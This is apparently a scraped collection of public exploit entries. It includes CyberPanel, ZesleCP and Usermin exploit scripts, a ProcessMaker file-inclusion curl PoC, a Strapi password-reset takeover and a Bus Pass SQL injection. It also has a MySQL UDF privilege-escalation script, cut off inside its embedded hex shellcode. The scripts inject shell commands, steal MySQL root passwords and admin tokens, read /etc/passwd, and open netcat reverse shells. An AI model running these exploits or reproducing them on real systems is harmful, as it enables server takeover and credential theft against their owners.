        print("[+] Send request fetch websites list")

        headers = {
            'X-Csrftoken': session_hand_login["csrftoken"],
            'Cookie': 'csrftoken={};sessionid={}'.format(token,session_hand_login["sessionid"]),
            'Referer': target
        }

        feth_weblist = session.post(target+"/websites/fetchWebsitesList", headers=headers, verify=False, json={"page":1,"recordsToShow":10})
        feth_weblist_json = json.loads(feth_weblist.content)

        if feth_weblist_json["data"]:

            weblist_json = json.loads(feth_weblist_json["data"])
            domain = weblist_json[0]["domain"]
            domain_folder = "/home/{}".format(domain)

            print("[+] Successfully {} selected".format(domain))
            print("[+] Creating ssh pub")

            remove_ssh_folder = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"path":domain_folder,"method":"deleteFolderOrFile","fileAndFolders":[".ssh"],"domainRandomSeed":"","domainName":domain,"skipTrash":1})
            create_ssh = session.post(target+"/websites/fetchFolderDetails", headers=headers, verify=False, json={"domain":domain,"folder":"{}".format(domain_folder)})
            create_ssh_json = json.loads(create_ssh.content)

            if create_ssh_json["status"]:
                key = create_ssh_json["deploymentKey"]

                print("[+] Key : {}".format(key))

                explode_key = key.split()
                explode_username = explode_key[-1].split("@")

                if explode_username[0]:
                    username = explode_username[0]
                    hostname = explode_username[1]

                    print("[+] {} username selected".format(username))
                    print("[+] Preparing for symlink attack")
                    print("[+] Attempting symlink attack with user-level command execution vulnerability #1")

                    target_file = args.file
                    if not target_file:
                        target_file = "/root/.my.cnf"
                    domain_folder_ssh = "{}/.ssh".format(domain_folder)
                    command = "rm -rf {}/{}.pub;ln -s {} {}/{}.pub".format(domain_folder_ssh,username,target_file,domain_folder_ssh,username)
                    completeStartingPath = "{}';{};'".format(domain_folder,command)

                    #filemanager/controller - completeStartingPath - command execution vulnerability

                    symlink = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"completeStartingPath":completeStartingPath,"method":"listForTable","home":domain_folder,"domainRandomSeed":"","domainName":domain})
                    symlink_json = json.loads(symlink.content)
                    
                    if symlink_json["status"]:
                        print("[+] [SUDO] Arbitrary file reading via symlink --> {} #2".format(target_file))

                        read_file = session.post(target+"/websites/fetchFolderDetails", headers=headers, verify=False, json={"domain":domain,"folder":"{}".format(domain_folder)})
                        read_file_json = json.loads(read_file.content)
                        read_file = read_file_json["deploymentKey"]
                        if not args.file:
                            print("-----------------------------------")
                            print(read_file.strip())
                            print("-----------------------------------")

                            mysql_password = re.findall('password=\"(.*?)\"',read_file)[0]
                            steal_token = "rm -rf token.txt;mysql -u root -p\"{}\" -D cyberpanel -e \"select token from loginSystem_administrator\" > '{}/token.txt".format(mysql_password,domain_folder)

                            print("[+] Fetching users tokens")

                            completeStartingPath = "{}';{}".format(domain_folder,steal_token)
                            steal_token_request = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"completeStartingPath":completeStartingPath,"method":"listForTable","home":domain_folder,"domainRandomSeed":"","domainName":domain})
                            token_file = domain_folder+"/token.txt"
                            steal_token_read_request = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"fileName":token_file,"method":"readFileContents","domainRandomSeed":"","domainName":domain})
                            leak = json.loads(steal_token_read_request.content)
                            leak = leak["fileContents"].replace("Basic ","").strip().split("\n")[1:]
                            print("------------------------------")
                            for user in leak:
                                b64de = base64.b64decode(user).decode('utf-8')
                                exp_username = b64de.split(":")
                                if exp_username[0] == "admin":
                                    admin_password = exp_username[1]
                                print("[+] " + b64de)
                            print("------------------------------")
                            print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~")
                            print("[+] Try login admin")

                            headers = {
                                'X-Csrftoken': token,
                                'Cookie': 'csrftoken={}'.format(token),
                                'Referer': target
                            }
                            login_admin = session.post(target+"/verifyLogin", headers=headers, verify=False, json={"username":"admin","password":admin_password,"languageSelection":"english"})
                            login_json = json.loads(login_admin.content)
                            if login_json["loginStatus"]:
                                session_hand_login = session.cookies.get_dict()

                                print("[+] 4dm1n_l061n_5ucc355")
                                print("[+] c0nn3c71n6_70_73rm1n4l")
                                headers = {
                                        'X-Csrftoken': session_hand_login["csrftoken"],
                                        'Cookie': 'csrftoken={};sessionid={}'.format(token,session_hand_login["sessionid"]),
                                        'Referer': target
                                }

                                get_websocket_token = session.get(target+"/Terminal", headers=headers, verify=False)
                                verifyPath = re.findall('id=\"verifyPath\">(.*?)</div>',str(get_websocket_token.content))[-1]
                                socket_password = re.findall('id=\"password\">(.*?)</div>',str(get_websocket_token.content))[-1]
                                print("[+] verifyPath {}".format(verifyPath))
                                print("[+] socketPassword {}".format(socket_password))
                                print("[+] Trying to connect to socket")
                                ws = websocket.WebSocketApp("wss://{}:5678".format(args.host),
                                    on_open=on_open,
                                    on_close=on_close)
                                ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE})

                            else:
                                print("[-] Auto admin login failed")
                        else:
                            print(read_file)
                    else:
                        print("[-] Unexpected")
                else:
                    print("[-] Username selected failed")
            else:
                print("[-] Fail ssh pub")
        else:
            print("[-] List error")
    else:
        print("[-] AUTH : Login failed msg: {}".format(login_json["error_message"]))

if __name__ == "__main__":
    init()
HireHackking 
# Exploit Title: ProcessMaker 3.5.4 - Local File inclusion
# Exploit Author: Ai Ho (@j3ssiejjj)
# Date: 16-04-2021
# Vendor Homepage: https://www.processmaker.com/
# Version: ProcessMaker <= 3.5.4
# References: https://github.com/jaeles-project/jaeles-signatures/blob/master/common/process-maker-lfi.yaml

# PoC:

## With curl

curl -k --path-as-is 'http://targetIP/../../../..//etc/passwd'

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

--[snippets]--

## With Jaeles Scanner

jaeles scan -s  ~/jaeles-signatures/common/process-maker-lfi.yaml -u http://targetIP
HireHackking 
# Title: ZesleCP 3.1.9 - Remote Code Execution (RCE) (Authenticated)
# Date: 27.08.2021
# Author: Numan Türle
# Vendor Homepage: https://zeslecp.com/
# Software Link: https://zeslecp.com/
# Version: <=3.1.9
# https://www.youtube.com/watch?v=5lTDTEBVq-0

#!/usr/bin/python3
# -*- coding: utf-8 -*-
# ZesleCP - Remote Code Execution (Authenticated) ( Version 3.1.9 )
# author: twitter.com/numanturle
# usage: zeslecp.py [-h] -u HOST -l LOGIN -p PASSWORD
# https://www.youtube.com/watch?v=5lTDTEBVq-0


import argparse,requests,warnings,json,random,string
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from cmd import Cmd

warnings.simplefilter('ignore',InsecureRequestWarning)

def init():
    parser = argparse.ArgumentParser(description='ZesleCP - Remote Code Execution (Authenticated) ( Version 3.1.9 )')
    parser.add_argument('-u','--host',help='Host', type=str, required=True)
    parser.add_argument('-l', '--login',help='Username', type=str, required=True)
    parser.add_argument('-p', '--password',help='Password', type=str, required=True)
    args = parser.parse_args()
    exploit(args)

def exploit(args):

    listen_ip = "0.0.0.0"
    listen_port = 1337

    session = requests.Session()
    target = "https://{}:2087".format(args.host)
    username = args.login
    password = args.password

    print("[+] Target {}".format(target))

    login = session.post(target+"/login", verify=False, json={"username":username,"password":password})
    login_json = json.loads(login.content)

    if login_json["success"]:
        session_hand_login = session.cookies.get_dict()

        print("[+] Login successfully")
        print("[+] Creating ftp account")

        ftp_username = "".join(random.choices(string.ascii_lowercase + string.digits, k=10))

        print("[+] Username : {}".format(ftp_username))
        
        print("[+] Send payload....")

        payload = {
            "ftp_user": ftp_username,
            "ftp_password":"1337';rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f;echo '".format(listen_ip,listen_port)
        }

        try:
            feth_weblist = session.post(target+"/core/ftp", verify=False, json=payload, timeout=3)
        except requests.exceptions.ReadTimeout: 
            pass

            print("[+] Successful")
    else:
        print("[-] AUTH : Login failed msg: {}".format(login_json["message"]))

if __name__ == "__main__":
    init()
HireHackking 
# Title: Usermin 1.820 - Remote Code Execution (RCE) (Authenticated)
# Date: 27.08.2021
# Author: Numan Türle
# Vendor Homepage: https://www.webmin.com/usermin.html
# Software Link: https://github.com/webmin/usermin
# Version: <=1820
# https://www.youtube.com/watch?v=wiRIWFAhz24

#!/usr/bin/python3
# -*- coding: utf-8 -*-
# Usermin - Remote Code Execution (Authenticated) ( Version 1.820 )
# author: twitter.com/numanturle
# usage: usermin.py [-h] -u HOST -l LOGIN -p PASSWORD
# https://youtu.be/wiRIWFAhz24


import argparse,requests,warnings,json,re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from cmd import Cmd

warnings.simplefilter('ignore',InsecureRequestWarning)

def init():
    parser = argparse.ArgumentParser(description='Usermin - Remote Code Execution (Authenticated) ( Version 1.820 )')
    parser.add_argument('-u','--host',help='Host', type=str, required=True)
    parser.add_argument('-l', '--login',help='Username', type=str, required=True)
    parser.add_argument('-p', '--password',help='Password', type=str, required=True)
    args = parser.parse_args()
    exploit(args)

def exploit(args):

    listen_ip = "0.0.0.0"
    listen_port = 1337

    session = requests.Session()
    target = "https://{}:20000".format(args.host)
    username = args.login
    password = args.password

    print("[+] Target {}".format(target))

    headers = {
        'Cookie': 'redirect=1; testing=1;',
        'Referer': target
    }

    login = session.post(target+"/session_login.cgi", headers=headers, verify=False, data={"user":username,"pass":password})
    login_content = str(login.content)
    search = "webmin_search.cgi"
    check_login_string = re.findall(search,login_content)
    if check_login_string:
        session_hand_login = session.cookies.get_dict()

        print("[+] Login successfully")
        print("[+] Setup GnuPG")

        payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f;".format(listen_ip,listen_port)
        #payload = "whoami;"
        post_data = {
            "name":'";{}echo "'.format(payload),
            "email":"1337@webmin.com",
        }
        
        print("[+] Payload {}".format(post_data))

        session.headers.update({'referer': target})
        
        create_secret = session.post(target+"/gnupg/secret.cgi", verify=False, data=post_data)
        create_secret_content = str(create_secret.content)

        search = "successfully"
        check_exp = re.findall(search,create_secret_content)
        
        if check_exp:
            
            print("[+] Setup successful")
            print("[+] Fetching key list")
            
            session.headers.update({'referer': target})
            key_list = session.post(target+"/gnupg/list_keys.cgi", verify=False)
            last_gets_key = re.findall("edit_key.cgi\?(.*?)'",str(key_list.content))[-2]
            print("[+] Key : {}".format(last_gets_key))

            session.headers.update({'referer': target})
            try:
                key_list = session.post(target+"/gnupg/edit_key.cgi?{}".format(last_gets_key), verify=False, timeout=3)
            except requests.exceptions.ReadTimeout:
                pass

            print("[+] 5ucc355fully_3xpl017")
        else:
            print("[-] an unexpected error occurred"  )



        
    else:
        print("[-] AUTH : Login failed.")

if __name__ == "__main__":
    init()
HireHackking 
# Exploit Title: Strapi 3.0.0-beta - Set Password (Unauthenticated)
# Date: 2021-08-29
# Exploit Author: David Anglada [CodiObert]
# Vendor Homepage: https://strapi.io/
# Version: 3.0.0-beta
# Tested on: Linux
# CVE: CVE-2019-18818

#!/usr/bin/python

import requests
import sys
import json

userEmail = "valid@email.com"
strapiUrl = "http://strapi.url"
newPassword = "codiobert"

s = requests.Session()

# Get strapi version
strapiVersion = json.loads(s.get("{}/admin/strapiVersion".format(strapiUrl)).text)

print("[*] strapi version: {}".format(strapiVersion["strapiVersion"]))

# Validate vulnerable version
if strapiVersion["strapiVersion"].startswith('3.0.0-beta') or strapiVersion["strapiVersion"].startswith('3.0.0-alpha'):
	# Password reset
	print("[*] Password reset for user: {}".format(userEmail))
	resetPasswordReq={"email":userEmail, "url":"{}/admin/plugins/users-permissions/auth/reset-password".format(strapiUrl)}
	s.post("{}/".format(strapiUrl), json=resetPasswordReq)

	# Set new password
	print("[*] Setting new password")
	exploit={"code":{}, "password":newPassword, "passwordConfirmation":newPassword}
	r=s.post("{}/admin/auth/reset-password".format(strapiUrl), json=exploit)

	# Check if the password has changed
	if "username" in str(r.content):
		print("[+] New password '{}' set for user {}".format(newPassword, userEmail))
	else:
		print("\033[91m[-] Something went wrong\033[0m")
		sys.exit(1)
else:
	print("\033[91m[-] This version is not vulnerable\033[0m")
	sys.exit(1)
HireHackking 
# Exploit Title: Bus Pass Management System 1.0 - 'viewid' SQL Injection
# Date: 2021-08-28
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://phpgurukul.com/bus-pass-management-system-using-php-and-mysql
# Software Link: https://phpgurukul.com/wp-content/uploads/2021/07/Bus-Pass-Management-System-Using-PHP-MySQL.zip
# Version: 1.0
# Tested on: Windows 10 - Wamp Server

# Vulnerable page :

http://localhost/buspassms/admin/view-pass-detail.php?viewid=

# Vulnerable paramater :

The viewid paramater is Vulnerable to sqli

# Proof Of Concept :

# 1 . Download And install [ bus-pass-management-system ]
# 2 . Go to /admin/index.php and Enter Username & Password 
# 3 . Navigate to passes >> manage pass
# 4 . Click on the view and enter the sql payload into the Url

Use : http://localhost/buspassms/admin/view-pass-detail.php?viewid=1'[Sql Payload]
HireHackking 
# Exploit Title: MySQL User-Defined (Linux) x32 / x86_64 - 'sys_exec' Local Privilege Escalation (2) 
# Date: 29/08/2021
# Exploit Author: ninpwn
# Vendor Homepage: https://www.mysql.com
# Software Link: www.mysql.com
# Version: MySQL 4.x/5.x
# Tested on: Debian GNU/Linux 9 / mysql Ver 14.14 Distrib 5.7.30, for Linux (x86_64) using EditLine wrapper
# CVE : N/A

'''
*** MySQL User-Defined (Linux) x32 / x86_64 sys_exec function Local Privilege Escalation Exploit - Python 3 Version ***


UDF lib shellcodes retrieved from metasploit
(there are windows .dll libraries within metasploit as well so this could be easily ported to Windows)

Based on the Python 2 exploit by D7X (EDB ID: 46249) and the famous raptor_udf.c by Marco Ivaldi (EDB ID: 1518)
CVE: N/A
References:
https://dev.mysql.com/doc/refman/5.5/en/create-function-udf.html
https://www.exploit-db.com/exploits/1518
https://www.exploit-db.com/exploits/46249
https://www.exploit-db.com/papers/44139/ - MySQL UDF Exploitation by Osanda Malith Jayathissa (@OsandaMalith)

Tested on Linux 4.9.0-12-amd64 #1 SMP Debian 4.9.210-1 (2020-01-20) x86_64 GNU/Linux

@ninpwn
https://twitter.com/ninpwn
'''
#!/usr/bin/python3

import sys
import subprocess
import platform, random
import argparse
import os
import re
import pty

shellcode_x32 = "7f454c4601010100000000000000000003000300010000007009000034000000581200000000000034002000040028001900180001000000000000000000000000000000f80e0000f80e00000500000000100000010000000010000000100000001000000801000010010000060000000010000002000000141000001410000014100000d0000000d0000000060000000400000051e5746400000000000000000000000000000000000000000600000004000000250000002a0000001400000008000000270000001d0000000000000000000000030000000000000011000000000000000a0000002900000012000000200000000000000000000000260000000c0000002100000017000000230000000d000000000000000e0000001c000000150000000000000006000000000000000000000010000000220000000f0000002400000019000000180000000000000000000000000000000000000000000000000000001a0000000200000013000000050000000000000000000000000000000000000000000000000000001f00000001000000280000000000000000000000000000000000000000000000070000002500000016000000000000000b00000000000000000000000000000000000000000000001e0000001b0000000000000000000000090000000000000000000000040000000000000011000000130000000400000007000000010804409019c7c9bda4080390046083130000001500000016000000180000001a0000001c0000001f00000021000000000000002200000000000000230000002400000026000000280000002900000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe1200000000000000000000000000000000e7000000000000008d00000012000000c2000000000000005c00000012000000ba00000000000000e7040000120000000100000000000000000000002000000025000000000000000000000020000000ed000000000000007e02000012000000ab01000000000000150100001200000079010000000000007d00000012000000c700000000000000c600000012000000f50000000000000071010000120000009e01000000000000fb00000012000000cf00000000000000700000001200000010010000000000002500000012000000e0000000000000008901000012000000b500000000000000a80200001200000016000000000000000b0100002200000088010000000000007400000012000000fb00000000000000230000001200000080010000040d00006100000012000b00750000003b0a00000500000012000b0010000000f80d00000000000012000c003f010000a10c00002500000012000b001f010000100900000000000012000900c301000008110000000000001000f1ff96000000470a00000500000012000b0070010000ee0c00001600000012000b00cf01000010110000000000001000f1ff56000000310a00000500000012000b00020100009c0b00003000000012000b00a30100007d0d00003e00000012000b00390000002c0a00000500000012000b00320100006b0c00003600000012000b00bc01000008110000000000001000f1ff65000000360a00000500000012000b0025010000fc0b00006f00000012000b0085000000400a00000700000012000b0017010000cc0b00003000000012000b0055010000c60c00002800000012000b00a90000004c0a00008800000012000b008f010000650d00001800000012000b00d7000000d40a0000c800000012000b00005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e312e3300474c4942435f322e3000474c4942435f322e310000000200030003000000000003000300030003000300030003000300030003000400030002000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000300b20100001000000000000000731f690900000400d4010000100000001069690d00000300e0010000100000001169690d00000200ea01000000000000040b000008000000b70b000008000000e70b000008000000110c000008000000220c000008000000550c0000080000008e0c000008000000ac0c000008000000d90c00000800000004110000080000006b0a0000020f00007c0a000002030000960a000002020000ad0a000002090000430b000002090000bc0a0000020c0000e40a0000020e0000f30a0000020e00003f0c0000020e00000e0b000002010000310b000002060000560b0000020a0000680b000002120000bf0b0000020d0000ef0b0000020d00005b0c0000020d0000960c0000020d0000b20c0000020d0000e10c0000020d0000fd0c000002080000580d000002110000770d0000020b00008e0d000002070000e410000006040000e810000006050000ec10000006100000fc1000000704000000110000071000005589e55383ec04e8000000005b81c3d40700008b93f4ffffff85d27405e81e000000e8b9000000e884040000585bc9c3ffb304000000ffa30800000000000000ffa30c0000006800000000e9e0ffffffffa3100000006808000000e9d0ffffff5589e55653e8ad00000081c37607000083ec1080bb1800000000755d8b83fcffffff85c0740e8b8314000000890424e8bcffffff8b8b1c0000008d831cffffff8d9318ffffff29d0c1f8028d70ff39f173208db6000000008d410189831c000000ff948318ffffff8b8b1c00000039f172e6c683180000000183c4105b5e5dc35589e553e82e00000081c3f706000083ec048b9320ffffff85d274158b93f8ffffff85d2740b8d8320ffffff890424ffd283c4045b5dc38b1c24c3905589e55dc35589e55dc35589e55dc35589e55dc35531c089e55dc35589e55dc35589e557565383ec0cfc83c9ff8b750c8b46088b3831c0f2aef7d18d59ffe8fcffffff83f8007c53753f83ec0c6a1ee8fcffffff5f596a006a00486a218d1418f7d06a0721d0506a00e8fcffffff83c42083f8ff89c7742351538b4608ff3057e8fcffffffffd7eb0b526a016a0050e8fcffffff31c083c410eb05b8010000008d65f45b5e5f5dc35589e557565383ec18fc6800040000e8fcffffffc70424010000008945e8e8fcffffffc6000089c68b450c595b31db68840e00008b4008ff30e8fcffffff8945eceb338b7de831c083c9fff2ae5252f7d18d79ff8d043b50568945f0e8fcffffff83c40c57ff75e889c68d041850e8fcffffff8b5df083c40cff75ec6a04ff75e8e8fcffffff83c41085c075b683ec0cff75ece8fcffffff83c410803e0075088b4518c60001eb16c6441eff0031c083c9ff89f7f2ae8b4514f7d14989088d65f489f05b5e5f5dc35589e583ec088b450c833801750a8b400431d28338007414505068140e0000ff7510e8fcffffffb20183c41088d0c9c35589e583ec088b450c833801750a8b400431d28338007414505068140e0000ff7510e8fcffffffb20183c41088d0c9c35589e55383ec048b550c8b5d10833a0274095050683f0e0000eb428b420483380074095050685e0e0000eb318b520c83ec0cc74004000000008b0283c00203420450e8fcffffff8b550883c41089420c31d285c07512505068860e000053e8fcffffffb20183c41088d08b5dfcc9c35589e583ec088b450c83380175128b4004833800750a8b4508c6000131c0eb14505068140e0000ff7510e8fcffffffb00183c410c9c35589e55383ec0c8b5d1068a00e000053e8fcffffff8b4514c7001e00000089d88b5dfcc9c35531d289e583ec088b450c8338007414525268bf0e0000ff7510e8fcffffffb20183c41088d0c9c35589e583ec148b450c8b4008ff30e8fcffffffc999c35589e557565383ec10fc8b550c8b45088b580c8b420c89df8b088d440b018945e88b42088b30f3a48b420c8b00c60403008b42088b4a0c8b7de88b70048b4904f3a48b420c8b55e88b4004c60402006a015253e8fcffffff8d65f45b5e5f5d99c35589e58b45088b400c85c074098945085de9fcffffff5dc35589e55783ec10fc8b450c8b4008ff30e8fcffffff83c41085c089c275088b4518c60001eb1131c083c9ff89d7f2ae8b4514f7d149890889d08b7dfcc9c390909090905589e55653e85dfcffff81c3260300008b8310ffffff83f8ff74198db310ffffff8db4260000000083ee04ffd08b0683f8ff75f45b5e5dc35589e55383ec04e8000000005b81c3ec020000e860fbffff595bc9c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000ffffffff000000000000000001000000b20100000c000000100900000d000000f80d000004000000b4000000f5feff6ff8010000050000005805000006000000b80200000a000000f40100000b0000001000000003000000f010000002000000100000001400000011000000170000000009000011000000e0070000120000002001000013000000080000001600000000000000feffff6fa0070000ffffff6f01000000f0ffff6f4c070000faffff6f0a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000141000000000000000000000560900006609000004110000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c2e64796e002e72656c2e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000b4000000b400000044010000030000000000000004000000040000000b000000f6ffff6f02000000f8010000f8010000c000000003000000000000000400000004000000150000000b00000002000000b8020000b8020000a0020000040000000100000004000000100000001d00000003000000020000005805000058050000f40100000000000000000000010000000000000025000000ffffff6f020000004c0700004c070000540000000300000000000000020000000200000032000000feffff6f02000000a0070000a00700004000000004000000010000000400000000000000410000000900000002000000e0070000e007000020010000030000000000000004000000080000004a0000000900000002000000000900000009000010000000030000000a0000000400000008000000530000000100000006000000100900001009000030000000000000000000000004000000000000004e000000010000000600000040090000400900003000000000000000000000000400000004000000590000000100000006000000700900007009000088040000000000000000000010000000000000005f0000000100000006000000f80d0000f80d00001c00000000000000000000000400000000000000650000000100000032000000140e0000140e0000dd000000000000000000000001000000010000006d0000000100000002000000f40e0000f40e00000400000000000000000000000400000000000000770000000100000003000000001000000010000008000000000000000000000004000000000000007e000000010000000300000008100000081000000800000000000000000000000400000000000000850000000100000003000000101000001010000004000000000000000000000004000000000000008a00000006000000030000001410000014100000d000000004000000000000000400000008000000930000000100000003000000e4100000e41000000c00000000000000000000000400000004000000980000000100000003000000f0100000f01000001400000000000000000000000400000004000000a1000000010000000300000004110000041100000400000000000000000000000400000000000000a7000000080000000300000008110000081100000800000000000000000000000400000000000000ac000000010000000000000000000000081100009b0000000000000000000000010000000000000001000000030000000000000000000000a3110000b500000000000000000000000100000000000000";
shellcode_x64 = "7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f000000000000000000000060172000000000